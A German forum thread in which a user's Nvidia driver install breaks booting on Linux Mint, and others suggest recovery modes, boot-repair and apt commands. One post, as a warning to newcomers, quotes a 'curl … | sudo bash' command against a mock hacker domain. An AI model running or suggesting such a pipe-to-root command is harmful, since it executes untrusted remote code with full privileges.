Hallo, Ich hab meinen PC aufgerüstet mit I7, M2-Lw, Genforce 1650 und 16Mb. Danach hab ich Linux Mind 22 installiert und so manche SW. Lief mit meinen 3 Bildschirmen fast gut. Für Blender fehlte mir allerdings GPU Unterstützung. Und bei KiCad stelle ich fest, dass der Cursor sehr hackelich(verzögert) lief. Deshalb wollte ich Nvidia Treiber installieren. Der empfohlene Treiber ist aber bei Installation abegestürtzt. Beim googlen wurde nur emfohlen, andere Versionen zu probieren. Vers.2 ist auch abgestürzt. Version 3 hat seine Installation erstmalig abgeschlossen, jedoch startet nun der PC überhaupt nicht mehr, nur Bios geht noch. Ich schreib Euch von meinem Laptop aus, um einen Tip zu bekommen, wie ich ohne Neuinstallation rauskomme. Gruß Rudi
Rudi schrieb: > Hallo, Ich hab meinen PC aufgerüstet mit I7, M2-Lw, Genforce 1650 und > 16Mb. Danach hab ich Linux Mind 22 installiert und so manche SW. [...] > Deshalb wollte ich Nvidia Treiber > installieren. Der empfohlene Treiber ist aber bei Installation > abegestürtzt. Beim googlen wurde nur emfohlen, andere Versionen zu > probieren. Vers.2 ist auch abgestürzt. Version 3 hat seine Installation > erstmalig abgeschlossen, jedoch startet nun der PC überhaupt nicht mehr, > nur Bios geht noch. Ich schreib Euch von meinem Laptop aus, um einen Tip > zu bekommen, wie ich ohne Neuinstallation rauskomme. Hm, von den Versionen "2" und "3" der NVidia-Treiber habe ich noch nie etwas gelesen oder gehört. NVidia verwendet ein anderes Versionierungsschema, auf meinem E5580 hier ist zum Beispiel aktuell die Version 535 installiert. Hinzu kommt, daß die GPU-Unterstützung von Blender laut Dokumentation [1] auch noch eine GPU Compute API wie CUDA oder OptiX erfordert. Nicht nur, aber auch aufgrund der Ungereimtheiten mit Deiner Versionsangabe fehlen mir daher so ziemlich alle Informationen in Deinem Beitrag, die ich benötigen würde, um Dir behilflich zu sein. Beantworte daher bitte zunächst folgende Fragen: 1. Wo genau hast Du die betreffenden Softwarepakete her? 2. Wie genau hast Du die Software installiert? [1] https://docs.blender.org/manual/en/latest/render/cycles/gpu_rendering.html
Starte in den abgesicherten Modus ohne Grafik, dann:
1 | cd <wo der Nvidia Installer liegt> |
2 | ./NVIDIA-Linux-<version>.run --uninstall |
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Ich mache inzwischen einen grossen Bogen um Nvidia. Die haben doch tatsächlich für meine ca. 10 Jahre alte Onboard-Grafik keine neue Treiberversion mehr bereitgestellt.
Matthias S. schrieb: > Die haben doch tatsächlich für meine ca. 10 Jahre alte Onboard-Grafik > keine neue Treiberversion mehr bereitgestellt. So eine Frechheit aber auch: Nur 10 Jahre Support für Consumer (=wegwerf) Hardware.
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Rudi schrieb: > Beim googlen wurde nur emfohlen, andere Versionen zu > probieren. Ab hier muss man eigentlich nicht mehr weiter lesen.
Sherlock 🕵🏽♂️ schrieb: > Starte in den abgesicherten Modus ohne Grafik wie ich sagte: der PC ist TOT Ein T. schrieb: > Hm, von den Versionen "2" und "3" der NVidia-Treiber habe ich noch nie > etwas gelesen oder gehört. NVidia verwendet ein anderes > Versionierungsschema, auf meinem E5580 hier ist zum Beispiel aktuell die > Version 535 installiert. Ja, nr 1=550 nr 2=535 3 = ~430 Ein T. schrieb: > Wie genau hast Du die Software installiert? Mit dem Linux Mint Treibertool
Rudi schrieb: > wie ich sagte: der PC ist TOT Keine Lampe mehr? Kein Lüfter mehr? Dann muss aus Versehen das Modul powersupply.ko mit dem --kill --force Parameter aufgerufen worden sein. Da kann man dann nichts mehr machen.
Rudi schrieb: > wie ich sagte: der PC ist TOT Das kann nicht sein. Dass Bootmenü wo man Kernel-Optionen auswählen kann hat absolut nichts mit dem Grafiktreiber zu tun. Sollte der PC nicht mal so weit kommen, hast du ein ganz anderes Problem, das nichts mit dem Grafiktreiber zu tun hat (z.B. SSD oder RAM defekt). Sollte der PC nicht mal so weit kommen, bleibt eigentlich nur eine Neuinstallation übrig, aber das willst du ja nicht. Du könntest mal testen, oder er noch von einer CD, DVD oder USB Stick booten kann.
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Rudi schrieb: > wie ich sagte: der PC ist TOT Wenn Du die Spott- und Ironiequote unter den Reaktionen etwas reduzieren willst, dann bring mehr Details. Sonst läuft das eher in die Richtung des nicht mehr ganz frischen Klassikers "Was steht auf dem Bildschirm? - Ein Blumentopf".
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(prx) A. K. schrieb: > "Was steht auf dem Bildschirm - > ein Blumentopf". Leider gibt's bei den neuen Rechnern kein ›Mein Dosenhalter ist abgebrochen‹ mehr.
Rudi schrieb: > Ich schreib Euch von meinem Laptop aus, um einen Tip > zu bekommen, wie ich ohne Neuinstallation rauskomme. Zum Anfang kann man vom passenden Installationsmedium ein Livesystem booten, und sehen, wie weit man damit kommt. Wenn das geht, dann darüber ins Disksystem weiter wechseln - gibts oft als Option im Bootvorgang vom Medium.
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Rudi schrieb: > nur Bios geht noch. Rudi schrieb: > wie ich sagte: der PC ist TOT TOT kommt später, trumpft also! ;-)
Norbert schrieb: > Leider gibt's bei den neuen Rechnern kein ›Mein Dosenhalter ist > abgebrochen‹ mehr. Kannst du am Tisch nachrüsten: https://www.ikea.com/de/de/p/lanespelare-becherhalter-schwarz-90507844/ https://www.amazon.de/Becherhalter-Schreibtisch-Flaschenhalter-Getr%C3%A4nkehalter-Tisch/dp/B0CLRX9XW1 Hat aber keinen Einfluss auf das normalerweise nicht mehr vorhandene CD/DVD-Laufwerk und löst das Problem des TS ebenfalls nicht. An den TS: Boote von Grub aus in den Recovery oder Emergency Modus. Wie das geht und was verfügbar ist hängt von der jeweiligen Version ab. Musst du dir für dein Mint heraus suchen. Dann de-installiere die Treiber.
Hannes J. schrieb: > Boote von Grub aus in den Recovery oder Emergency Modus soweit waren wir schon: Rudi schrieb: >> Starte in den abgesicherten Modus ohne Grafik > wie ich sagte: der PC ist TOT
Hannes J. schrieb: > An den TS: Boote von Grub aus in den Recovery oder Emergency Modus Kann ich nicht, da keinerlei Aktionen möglich sind. Aber jetzt wird es spannend: Jetzt wollte ich nach 2 std es doch mal mit einen Boot von CD probieren. Ich traute meinen Augen nicht: der PC kam mit einem Original Boot hoch, nicht von der CD. Die Bildschirme war wie nach einer Neuinstallation ungeordet. Ließen sich dann normal einrichten. Blender hatte auch Cuda zur Verfügung. KiCad hatte eine schnelle Cursorreaktionen. Freude!! Aber, aber, der Test auszuschalten und neu zu booten war die Enttäuschung. Jetzt geht wieder nichts mehr. Bis dann....
(prx) A. K. schrieb: > Zum Anfang kann man vom passenden Installationsmedium ein Livesystem > booten, und sehen, wie weit man damit kommt. Wenn das geht, dann darüber > ins Disksystem weiter wechseln - gibts oft als Option im Bootvorgang vom > Medium. Ja, jetzt bin ich im Livesystem, aber wie weiter ins Disksystem wechseln geht , weiß ich nicht.
Rudi schrieb: > Ja, jetzt bin ich im Livesystem, aber wie weiter ins Disksystem wechseln > geht , weiß ich nicht. Was für ein Datei-Verwaltungsprogramm gibt es auf der CD bzw. ist da auch ein MC (Midnight Commander) drauf?
Rudi schrieb: > Ja, jetzt bin ich im Livesystem, aber wie weiter ins Disksystem wechseln > geht , weiß ich nicht. In den Bootmanager kommst Du mit irgendwas aus Leertaste/Shift/Esc zum richtigen Zeitpunkt. Vom Inst-Medium gestartet ist damit ist immerhin der Bootloader nicht der von Disk. Bringt aber vmtl wenig. Auch schon "... compatibility mode" probiert? Da gibts eine VGA-Session, also keine Abhängigkeit von NVidia. Dort "Tab" erlaubt Bootoptionen vom Kernel. Damit lässt sich der Start der GIU verhindern, für Konsol-Session. Mehr dazu => Web.
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Rudi schrieb: > Ja, jetzt bin ich im Livesystem, aber wie weiter ins Disksystem wechseln > geht , weiß ich nicht. In Mint ist das wohl nicht so einfach. Aber Du kommst im Livesystem an die Sysdisk ran und kannst da Änderungen vornehmen, Zeug sichern, ... Reparaturaktionen können allerdings etwas kompliziert ausfallen.
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Nun habe ich den Verdacht, dass nur der Bootsector auf der Festplatte zerschossen ist, weil das System ja mal zwischendurch funktionierte (siehe Beitrag von 16:35). Von der Installations-CD komme ich in Grub-Menue und dort kann ich eine Befehlszeile, ähnlich Shell, wählen. Dort gibt es einen Sack voll Kommandos, die ich alle außer ls nicht kenne. Gibt es da was um den Bootsector zu reparieren? Oder kann man da aus "Timeshift" aktivieren, um die letzte Version wieder herzustellen? Oder kennt Jemand einen Linux-Speziallisten der helfen könnte? Wenn nicht, muß ich wieder 3Tage opfern, um meine ganze SW zu installieren. Wenigstens habe ich ein Datenbackup.
Wichtigste Regel für Linux-Neulinge: Installier NIE etwas am Distributions-Packagemanager vorbei. Egal wie toll die "curl 13³7-hąx×0r.ru | sudo bash" Anleitung auf Tiktok aussieht. Zwei Klicks im "Driver Manager" hätten vermutlich gereicht...
Εrnst B. schrieb: > Egal wie toll die "curl 13³7-hąx×0r.ru | sudo bash" Anleitung auf Tiktok > aussieht. Uuuhhhhh. Das letzte Mal wo mir ein solcher Schauer über den Rücken gelaufen ist, dass muss ein alter Boris Karloff Film gewesen sein. ;-)
Εrnst B. schrieb: > Wichtigste Regel für Linux-Neulinge: So einen Scheiß würde ich nie machen: den Treiber habe ich dort ganz offziell installiert. Nun bin ich eine Erkenntnis weiter: Nachdem ich das Livesystem von CD gestartet hatte, stelle ich fest, das keine Connection ins Internet bekam. Dort wollte ich das "Boot-Repair-Tool" herunterladen. Auf der Suche nach anderen Hilfsmitteln, fand ich im Systemmenue, dass dort auch dieses Tool vorhanden ist. Ich hab es ausgeführt und es hat gesagt, dass es erfolgreich war. Der erste Bootversuch hat trotzdem nicht funktioniert. Aber nach dem Bios-start wurde ein anderes Grub-Menü angezeigt. Von da aus konnte ich verschiedene Kernels wählen. Der 2. in der Liste hat dann meine Originalinstallation gestartet mit einer voll funktionsfähigen Grafikkarte mit CUDA. Jetzt muss ich demnächst hoffendlich nur noch rausfinden, wie ich den kaputten Kernel loswerde.
dpkg-query -l "linux-image-*" Deinstallieren geht mit "apt-get remove" Initrd & bootzeugs neu generieren mit "update-initramfs -u" Wahrscheinlichkeit, dass dabei wieder was kaputt geht: hoch (weil vermutlich schon irgend wo was krumm ist)
Genau das ist mir unter Ubuntu Mate kürzlich auch passiert. Bei mir half ein Upgrade über die Konsole. Danach war der reguläre Treiber wieder da. sudo apt update sudo apt upgrade Die Probleme mit der Grafik traten auch bei mir ab 22.04 auf. Aber mein Rechner und meine Graka sind halt uralt. Edit: Rudi schrieb: > Der 2. in der Liste hat dann > meine Originalinstallation gestartet mit einer voll funktionsfähigen > Grafikkarte mit CUDA. Sorry, eben erst gelesen dass du es bereits wieder hinbekommen hast.
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Daniel A. schrieb: > Deinstallieren geht mit "apt-get remove" Die anderen Aufräumbefehle mit apt sind auch ziemlich wichtig bzw. nützlich, und die sollte man immer wieder einsetzen, kenne ich noch vom Usb-Linux. Tim 🔆 schrieb: > sudo apt update > sudo apt upgrade Sollte man schon erwägen, bei Problemen. Allerdings ist die Grafik-Situation schon schwierig - ist üblicherweise aber weniger schlimm, wenn schon etwas Zeit verstrichen ist, die Kernelentwicklung und der Rest der sonst wichtigen Welt sind nicht sonderlich synchron. Für Wine ist es z.B. meist gut, wenn der Kernel schon etwas älter ist Auf jeden Fall (neben den Grubetc-repari-disks) hilfreich: https://rpmfusion.org/
Rudi schrieb: > So einen Scheiß würde ich nie machen: den Treiber habe ich dort ganz > offziell installiert. Genau das glaube ich nicht. Sonst würdest du kein so großes Geheimnis daraus machen, wo du den Treiber bezogen hast und wie du ihn installiert hast. Und würdest von keinen Versionsnummern berichten, die so im Mint-, Ubuntu- oder Debian-Repository nicht existieren.
Εrnst B. schrieb: > Sonst würdest du kein so großes Geheimnis > daraus machen Ich habe zwischendurch deutlich darauf hingewiesen, dass der Treiber mit dem Treiberverwaltung aus dem Systemmenue installiert wurde! nvidia-driver-470.256.02 Treiber 550 und 535 sind bei der Installation abgestürzt. Bisher bekomme ich meinen PC nur im Recovery-Mode zum laufen, unabhängig von der Kernelversion.
Rudi schrieb: > Ich habe zwischendurch deutlich darauf hingewiesen, dass der Treiber mit > dem Treiberverwaltung aus dem Systemmenue installiert wurde! > > nvidia-driver-470.256.02 > > Treiber 550 und 535 sind bei der Installation abgestürzt. Siehst du, solche Infos sind gleich beim Thread-Eröffnen wichtig, damit man zielgerichtet helfen kann. Allerdings wäre jetzt interessant, was du mit "bei der Installation abgestürzt" meinst. Einfach "Installation fehlgeschlagen"? => Ausgabe von apt wäre hilfreich. "Rechner aus oder rebootet"? => Eher kein Problem mit Grafikkarte oder Treiber. Würde mit einem RAM-Test anfangen, dann die CPU-Kühlung mit einem Lasttest prüfen (cpuburn z.b.)
Εrnst B. schrieb: > "Rechner aus oder rebootet"? => Eher kein Problem mit Grafikkarte oder > Treiber. Würde mit einem RAM-Test anfangen, dann die CPU-Kühlung mit > einem Lasttest prüfen (cpuburn z.b.) Ja der PC war bei 75% des Installvorgangs plötzlich aus. Nur die letzte Version hat sich ordentlich beendet und hat auch bis zum ausschalten funktioniert. Nur, bein nächsten Einschalten blieb er gleich nach dem Bios hängen - Ohne Bildschirm und Tastenreaktion. Hardwareprobleme werden es wohl nicht sein, da ich dieses Verhalten beim Installieren auch schon auf meiner vorherigen Hardware beobachtet habe. Nur die Bootprobleme hatte ich damals nicht. Deshalb habe ich bisher auf meinem neuen Rechner nur mit "xserver-xorg-video-nouveau" laufen lassen. Da aber hat man kein CUDA. Bei der ursprünglichen Einrichtung bekam ich bei Start keine UEFI-Menue zu sehen. Im laufe der obigen Maßnahmen bekam ich aber ein UEFI-Menu, das auch "Erweitere Aktionen" zur Auswahl hat. Von dort kann ich im Recovery-Modus starten.
Rudi schrieb: > Ja der PC war bei 75% des Installvorgangs plötzlich aus. Auch wenn das System komplett abschmiert, der Kernel crasht, der PC geht darum nicht einfach aus (ausser man hat manuell den watchdog eingerichtet, macht aber eigentlich keiner). Da würde ich schon eher auf die Hardware tippen. Zu schwaches Netzteil, kaputte Grafikkarte, irgend so was.
https://www.nvidia.de/download/driverResults.aspx/227063/de Daniel A. schrieb: > a würde ich schon eher auf die Hardware tippen. Zu schwaches Netzteil, > kaputte Grafikkarte, irgend so was. Nöö, ganz bestimmt nicht, da passt wieder mal was nicht richtig zusammen. @Rudi: Wo hast Du denn den Treiber her? Ich würde den Treiber den Nvidia (https://www.nvidia.de/download/driverResults.aspx/227063/de) anbietet nehmen. Mit den Treibern von denen bin ich bisher immer ganz gut gefahren. Der Installer kompiliert ein Kernelmodul passend zu Deinem Kernel. Du brauchst also die Kernelquellen für Deinen Kernel und die Buildumgebung. Was alles genau erforderlich ist beschreibt Nvidia hier http://us.download.nvidia.com/XFree86/Linux-x86_64/470.256.02/README/index.html. Schau vorsichtshalber mal nach ob Deine Karte auch wirklich von diesem Treiber unterstützt wird, auf der obigen Nvidia Seite sind die kompatiblen Karten gelistet. Wie gesagt Orginaltreiber von Nvidia habe ich bisher immer zum Laufen gebracht. Ich habe in einem meiner Rechner eine recht alte GForce, wo die Treiberentwicklung schon lange eingestellt wurde, da gab es bei der Installation von Mint21 Probleme und da habe ich wirklich lange dran gesessen. Am Ende habe ich es mit Unterstützung aus dem Netz geschafft. Das war aber wie gesagt eine Ausnahme - alte Graka, Treibersoftware die nicht mehr gepflegt wird und ein damals aktuelles Linux.
Hans schrieb: > Nöö, ganz bestimmt nicht, da passt wieder mal was nicht richtig > zusammen. Ganz richtig. Ich danke dir für die kompetente Antwort. Besonders dein 2.Link hat mich jedoch verstört, denn ich versteh erstmal nur Bahnhof. Ich glaub nicht, dass ich das hinbekomme, zumal ich auch nicht abschätzen kann, wie sich mein System bezüglich zukünftiger Updates dann verhält, wenn ich dann einen lokal compilierten Kernel hab. Bleibt die Frage, was macht der Recovery-Kernel anders?
Rudi schrieb: > Besonders dein > 2.Link hat mich jedoch verstört, denn ich versteh erstmal nur Bahnhof. Bleib mal ruhig. Lies Dir die README in aller Ruhe durch, dort ist wirklich genau beschrieben wie es funktioniert. Mint ist ja debianbasiert, da kannst Du die benötigte Pakete in einem Terminal mit
1 | apt-get install <Paketname> |
installieren. Die Kernelheader und -sourcen werden recht einfach über apt installiert. Die Schritte sehen in etwa (bei den meisten Debiansystemen) so aus:
1 | apt-get update |
2 | apt-get install linux-headers-$(uname -r) |
3 | apt-get install linux-source-$(uname -r) |
Wie die Pakete genau heißen mußt Du für Deine Distri selbst herausfinden. Geht bestimmt auch über die grafische Paketverwaltung. Wenn Du die Kommandozeile nicht magst, kannst Du die Pakete natürlich auch über das grafische Frontend installieren. Prüfe im nächsten Schritt ob die Pakete die Nvidia für die Installation verlangt vorhanden sind. Was minimal erforderlich ist steht hier http://us.download.nvidia.com/XFree86/Linux-x86_64/470.256.02/README/minimumrequirements.html, auch wie man das überprüft (unter Check with). Wenn Pakete fehlen installiere sie einfach mit apt oder dem grafischen Frontend nach. Die Insstallation der Kernelsourcen und -header sowie der benötigten tools ändert erst mal nix an Deinem System. Lade Dir von Nvidia den Treiber herunter und kopiere die Datei in ein Verzeichnis Deiner Wahl, am Besten in Dein Homeverzeichnis. Nach dem Herunterladen sollte es eine Datei NVIDIA-Linux-x86_64-470.256.02.run geben. Öffne ein Terminalfenster und gebe folgendes ein:
1 | cd ~ |
2 | sudo sh NVIDIA-Linux-x86_64-470.256.02.run |
Das Kernelmodul wird jetzt compiliert. Sollte der Kompilationsvorgang erfolgreich sein, dann wird das Modul auch installiert, so daß es am Ende auch lauffähig ist. Sollte bei dem ganzen Prozedere irgend etwas schief laufen/fehlen bekommst Du halt entsprechende Fehlermeldungen, dann heißt es halt die Ursache beseitigen und noch einmal. Von allen Dateien die der Installer verändert wird ein Backup angelegt, so das man jederzeit zurück kann. Bei mir hat das eigentlich bis auf die eine Ausnahme, die ich im letzten Post nannte, immer bestens funktioniert. Wenn Du sehr ängstlich bist kann ein Backup Deines Systems natürlich nicht schaden. Rudi schrieb: > wie sich mein System bezüglich zukünftiger Updates dann > verhält, wenn ich dann einen lokal compilierten Kernel hab. Der Kernel wird ja nicht neu kompiliert. Es wird nur rein Kernelmodul erzeugt, welches der Kernel beim Laden einbindet. Solange Du keinen neuen Kernel installierst hat das Ganze auch keinen Einfluß. Erst wenn Du einen neuen Kernel installierst, mußt Du für diesen Sourcen und Header installieren und das Setupscript erneut ausführen, damit ein zum Kernel passendes Modul erzeugt wird. Übrigens installiert das Script auch noch ein Nvidia-Tool mit dem Du dann DEine Bildschirme einrichten kannst (war zumindest bei mir so).
Hans schrieb: > Erst wenn > Du einen neuen Kernel installierst, mußt Du für diesen Sourcen und > Header installieren und das Setupscript erneut ausführen, damit ein zum > Kernel passendes Modul erzeugt wird. Was normalerweise automatisch passiert, nachdem der Treiber einmal erfolgreich installiert wurde.
Leute. Sein Rechner stürzt BEI DER INSTALLATION des Treibers ab. Da ist der Treiber NOCH NICHT AKTIV, es erfolgt KEIN ZUGRIFF AUF DIE GRAFIKKARTE. Sein Problem liegt woanders. Nachdem die Installation relativ viel SSD/RAM-Durchsatz hat, und auch viel CPU braucht (DKIM-Build): RAM kaputt, Netzteil zu schwach, CPU nicht gekühlt, etwas zuviel übertaktet, ein Troll vor dem PC der bei 75% den Reset-Knopf drückt...
Rudi schrieb: > Hans schrieb: >> Nöö, ganz bestimmt nicht, da passt wieder mal was nicht richtig >> zusammen. > > Ganz richtig. Ich danke dir für die kompetente Antwort. Man muss manchmal ein Experte sein, um einen Experten zu erkennen. Das war keiner. PS: In der Regel braucht es sehr viel, bis ein PC tatsächlich abstellt (Also Strom aus, off). Selbst wenn ein Kern defekt ist, bekommt man Meist nur eine Kernel Panic / MCE Event. Da muss schon was gröberes sein, etwas überhitzen, ein Kurzschluss, zu schwaches Netzteil, Stromausfall, solche Dinge. Sonnst stürzt das Ding zwar ab, aber geht nicht aus.
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Daniel A. schrieb: > In der Regel braucht es sehr viel, bis ein PC tatsächlich abstellt Kann man "aus" und "wirklich aus" immer unterscheiden? VT: die Treiber-Installation dauert ziemlich lange, der Bildschirmschoner wird aktiv und der Monitor geht auf Standby... Das kann mit grafischer Oberfläche und Textkonsole passieren. Nicht ganz so extrem: der neue Treiber wird geladen, aber die Default-Konfiguration passt nicht für 3 Monitore. Der Installer läuft weiter, aber man sieht nichts mehr. Tastatur reagiert auch nicht, nur noch der Reset-Taster...
Daniel A. schrieb: > Man muss manchmal ein Experte sein, um einen Experten zu erkennen. Das > war keiner. Hallo, ihr seit etwas übergriffig. Und ihr liegt da falsch, alles auf die Hardware zu schieben. Mein neuer PC läuft super. Und bezüglich des abschaltens des PCs beim Chrash, mache ich keinen Unterschied, ob der Strom weg ist oder nicht. Wenn die Bildschirme schwarz sind, die Tastatur taub, dann ist es mir wurscht ob die CPU irgentwo im Deatlock rödelt. Außerdem habe im mehrmals hier erwähnt, dass diese Installations-Abbrüche auch so auf meinem alten PC erfolgt sind. Andere Hardware - gleicher Fehler, was sagt das euch?
Sherlock 🕵🏽♂️ schrieb: > Was normalerweise automatisch passiert, nachdem der Treiber einmal > erfolgreich installiert wurde. Nein, mit dem direkt von NVidia bereitgestellten Treiber passiert das nicht, da dieser an der Paketverwaltung vorbei installiert wird. Man muß den Buildprozess selbst anstoßen, was i.d.R auch kein Problem ist. Εrnst B. schrieb: > RAM kaputt, Netzteil zu schwach, CPU nicht gekühlt, etwas zuviel > übertaktet, ein Troll vor dem PC der bei 75% den Reset-Knopf drückt... Hier trollt gerade nur einer. Der PC läuft ja mit dem Recoverykernel. Du stellst hier nur wage Vermutungen auf. Ich denke nicht das der Rudi den CPU Kühler runter gerissen hat. Der Rudi will einfach nur seine 3 Bildschirme und seine Software benutzen. Mit dem wahrscheinlich installierten Noveau Treiber, der vermutlich von Mint automatisch installiert wurde, funktioniert es offenbar nicht richtig (der Treiber hat auch bei mir noch nie wirklich gut funktioniert). Nur aus diesem Grund hat er sich nach einem anderen Treiber umgesehen und selbigen versucht zu installieren, wobei was schief gelaufen ist. Wenn ich den Rudi richtig verstanden habe, dann hat er den Treiber mit einem Managementtool von Mint installiert, was darauf schließen läßt, das es nicht der Treiber von NVidia ist. Rudi wo hast Du denn den Treiber her? Der Link mit dem Treiber den ich gepostet hatte könnte möglicherweise auch nicht der optimale Treiber sein, da ich zur Suche den von Dir geposteten Treibernamen (nvidia-driver-470.256.02). eingegeben hatte. Die GeForce 1650 erscheint zwar in der Kompatibilitätsliste, aber es gibt zu viele Varianten von der Grafikkarte. Gehe doch einfach mal auf diese Seite https://www.nvidia.com/de-de/drivers/ von NVidia und gib die korrekte Bezeichnung Deiner Graka ein oder wähle Deine Karte über die Dropdownlisten aus. Da wirst Du auf alle Fälle zum korrekten Treiber geführt. Schau Dir bitte auch dort die Dokumentation an. Die Dokumentation bei NVidia ist in der Regel recht umfangreich. Wenn man sich an die Installationsanleitung hält kommt eigentlich auch ans Ziel. Es wird auch ein Forum angeboten, wo man auch Hilfe bekommt.
Daniel A. schrieb: > PS: In der Regel braucht es sehr viel, bis ein PC tatsächlich abstellt > (Also Strom aus, off). Selbst wenn ein Kern defekt ist, bekommt man > Meist nur eine Kernel Panic / MCE Event. Da muss schon was gröberes > sein, etwas überhitzen, ein Kurzschluss, zu schwaches Netzteil, > Stromausfall, solche Dinge. Sonnst stürzt das Ding zwar ab, aber geht > nicht aus. Klar es muß die Hardware sein oder der Dau vor dem Bildschirm, denn Linux ist ist niemals schuld ;-).
Es macht nun mal einen Unterschied, ob das OS abgestürzt ist, oder der PC aus ist. Wenn mir gesagt wird, der PC hat sich Ausgeschaltet, dann glaub ich das halt dummer weise erstmal. Wenn man falsche Informationen gibt, muss man sich auch nicht über falsche Diagnosen wundern. Ausserdem, ist es wirklich so schwer nachzusehen, ob der On Knopf noch leuchtet oder nicht?
Bauform B. schrieb: > Kann man "aus" und "wirklich aus" immer unterscheiden? Sicher, durch einen Blick auf die Power-LED. Bei vielen Rechnern auch deutlich am ständig laufenden Lüfter erkennbar.
Beitrag #7777283 wurde vom Autor gelöscht.
Rudi schrieb: > Andere > Hardware - gleicher Fehler, was sagt das euch? Manchmal sitzt das Problem auch vor dem PC ;) So auf Geistbasis helfen, oder Problem lösen mit Bildern, ist auch nicht immer brauchbar oder man sieht keine größeren Zusammenhänge, und kann auch nicht messen. Aus dem Audio-Alltag weiß ich, dass manchmal viel Drama und lautes Geschrei entstehen kann, obwohl nur der Lautstärkeregeler auf Aus gestellt ist. Sowas kommt auch vor, genauso wie ein Linux, das nicht mehr funzt, weil die Grafiksituation schwierig ist. Besonders blöd ist es, wenn das Linux selbst vermurkst ist + die vermurkste Grafiksituation -> da hilft dann möglicherweise auch, das Linux zu wechseln und/oder auch noch die Hardware, die Linux-freundlich sein sollte. Du hast verschiedene Eckpunkte und landest dann bei x%, also zu 20% nutzbar, zu 40% nutzbar, zu 60% nutzbar usw. und dann kommen noch die Updates, die eigentlich auch wenig transparent sind und so auch immer wieder problematisch. Bei Windows gab es früher auch Ärger mit der Grafik, und nicht zu knapp. Einmal ging kein 3D, oder manchmal ging ein Treiberupdate schief. Die Standardprozedur da war immer, die Grafik auf einfachen VGA-Treiber umstellen, den gibt es in Windows, dann den alten Grafiktreiber deaktivieren und den neuen installieren. Dann wird neugestartet, und im Gerätesystem der einfache VGA-Treiber mit dem neuen Grafikkartentreiber ausgetauscht. Zuletzt gab es mal Ärger mit den deaktivierten Treibern, die wollten sich nicht löschen lassen, und in dem Zusammenhang ist auch mal mein 20 Jahre alter Bildschirm kaputt gegangen und Windows (ME) musste neuinstalliert werden.
Bauform B. schrieb: > Daniel A. schrieb: >> In der Regel braucht es sehr viel, bis ein PC tatsächlich abstellt > > Kann man "aus" und "wirklich aus" immer unterscheiden? Für viele gilt: Bildschirm schwarz -> aus. Rudi schrieb: > Und bezüglich des abschaltens des PCs beim Chrash, mache ich keinen > Unterschied, ob der Strom weg ist oder nicht. Wenn die Bildschirme > schwarz sind, die Tastatur taub, dann ist es mir wurscht ob die CPU > irgentwo im Deatlock rödelt. Ach, guck da. Rudi schrieb: > Außerdem habe im mehrmals hier erwähnt, dass diese > Installations-Abbrüche auch so auf meinem alten PC erfolgt sind. Andere > Hardware - gleicher Fehler, was sagt das euch? Dau an der Tastatur, der, warum auch immer, keine exakte Fehlerbeschreibung liefert.
@Rudi: Habe gerade noch einmal nachgeschaut. Du hast offensichtlich die Treiber aus dem Mintrepositority genommen, denn sonst hättest Du sie ja nicht über den Treibermanager installieren können. In diversen Foren wird davon berichtet das Canonical Treiber neuer als 535 aus dem "Zusätzliche Treiber"-Repository - was das auch immer ist - wegen wegen Problemen entfernt hat. Man könne die Treiber wohl über apt installieren also am Manager vorbei. Ich denke mal das sind vorkompilierte Treiber und da pass einfach irgend etwas nicht zusammen, warum auch immer. Ich würde jetzt wie folgt vorgehen: - installiere erst mal den Noveautreiber über den Treibermanager. Da mit sollte das System erst einmal grundsätzlich laufen. - lade Dir den passenden Treiber von Nvidia herunter (wie Du den findest hatte ich gepostet) - installiere den Treiber wie von NVidia empfohlen. Ich denke mal das Du so am schnellsten zum Ziel kommst. PS: Falls Noveau nicht funzt VGA geht immer. Wenn's ganz hart kommt halt im Textmodus.
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Hans schrieb: > Ich denke mal das Du so am schnellsten zum Ziel kommst. Nochmal: Sein PC während der Installation des Treibers aus den Mint-Paketquellen abgestürzt. Nicht danach, mit dem Treiber. Zum Absturz-Zeitpunkt war der neue Treiber noch nicht geladen, hat noch keine Hardwarezugriffe gemacht, und egal wie buggy der Treiber ist, hatte keine Möglichkeit irgendwie Abstürze zu verursachen. Was der PC zum Absturz-Zeitpunkt gemacht hat, war komprimierte Archive auszupacken, Dateien zu schreiben, und ggfs. im post-inst script ein Kernel-Modul zu kompilieren. Alles CPU- und speicherintensive Sachen. Ja, Linux ist nicht Fehlerfrei, insb. Grafikkarten-Treiber nicht. Aber Archive Entpacken und Dateien schreiben ist schon etwas, was Linux normalerweise problemlos hinbekommt, solange nicht defekte Hardware dazwischengrätscht. Es wird schon einen Grund haben, warum der TE sich so standhaft weigert einen Memtest und einen CPU-Lasttest zu fahren. Denke er wird schon wissen, dass da was im Argen liegt. Hint: Wenn man von einem ständig abstürzenden Windows genervt ist, hilft es nix zu Linux zu wechseln. Windows läuft auch sehr stabil, solange die Hardware funktioniert. Und ein Wechsel des Betriebssystems repariert keine kaputten Speicherriegel oder entfernt die Plastikfolie zwischen CPU und Kühler...
Hallo, wie passt das... Εrnst B. schrieb: > Und ein Wechsel des Betriebssystems repariert > keine kaputten Speicherriegel oder entfernt die Plastikfolie zwischen > CPU und Kühler... ...mit dem... Rudi schrieb: > Außerdem habe im mehrmals hier erwähnt, dass diese > Installations-Abbrüche auch so auf meinem alten PC erfolgt sind. Andere > Hardware - gleicher Fehler, was sagt das euch? ...zusammen? rhf
Εrnst B. schrieb: ...---... > Hint: Wenn man von einem ständig abstürzenden Windows genervt ist, hilft > es nix zu Linux zu wechseln. Windows läuft auch sehr stabil, solange die > Hardware funktioniert. Und ein Wechsel des Betriebssystems repariert > keine kaputten Speicherriegel oder entfernt die Plastikfolie zwischen > CPU und Kühler... Der hat doch nur in die Tastatur gekotzt.
